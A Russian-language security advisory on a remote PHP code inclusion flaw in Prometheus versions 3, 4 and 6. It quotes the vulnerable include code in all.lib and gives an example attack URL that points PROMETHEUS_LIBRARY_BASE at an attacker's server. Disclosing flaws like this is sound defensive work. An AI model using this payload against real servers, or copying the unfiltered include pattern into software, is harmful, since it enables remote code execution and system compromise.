Security Lab

Внедрение произвольного PHP кода в Prometheus

Дата публикации:05.11.2002
Дата изменения:17.10.2006
Всего просмотров:1548
Опасность:
Высокая
Наличие исправления: Нет
Количество уязвимостей:1
CVE ID: Нет данных
Вектор эксплуатации: Удаленная
Воздействие: Компрометация системы
CWE ID: Нет данных
Наличие эксплоита: Нет данных
Уязвимые продукты: Prometheus Project 6
Prometheus Project 3
Prometheus Project 4
Описание: Prometheus () – Web приложение, написанное на PHP. Обнаруженная уязвимость позволяет внедрять произвольный PHP код в Web приложение, который будет выполнен с привилегиями Web сервера. Проблема находится в следующем участке кода в prometheus-library/all.lib:
 
if ( ! isset( $PROMETHEUS_LIBRARY_BASE ) || 
$PROMETHEUS_LIBRARY_BASE == '') {
    $PROMETHEUS_LIBRARY_BASE = './prometheus-library';
}

if ( ! isset( $PHP_AUTO_LOAD_LIB ) ) {
    $PHP_AUTO_LOAD_LIB = 0;
}

if ( ! isset( $PROMETHEUS_LIB_PATH ) ) {
    $PROMETHEUS_LIB_PATH = 0;
}

if ( $PHP_AUTO_LOAD_LIB == 0 ) {
    include( $PROMETHEUS_LIBRARY_BASE . '/autoload.lib' );
}

if ( $PROMETHEUS_LIB_PATH == 0 ) {
    include( $PROMETHEUS_LIBRARY_BASE . '/prometheus-lib.path' );
}
Нападающий может вынудить приложение загружать зараженную версию autoload.lib и prometheus-lib.path, которая содержит произвольный PHP код, установив PHP_AUTO_LOAD_LIB в 0 и PROMETHEUS_LIBRARY_BASE к адресу удаленного сервера. Уязвимы следующие сценарии, в которых all.lib включен без какого либо фильтрования:
index.php
install.php
test_*.php
Пример нападения:
http://target.server/prometheus-
all/index.php?PROMETHEUS_LIBRARY_BASE=
http://attackers.server/&PHP_AUTO_LOAD_LIB=0
уязвимость обнаружена в Prometheus 6.0
Ссылки: Prometheus Application Framework Code Injection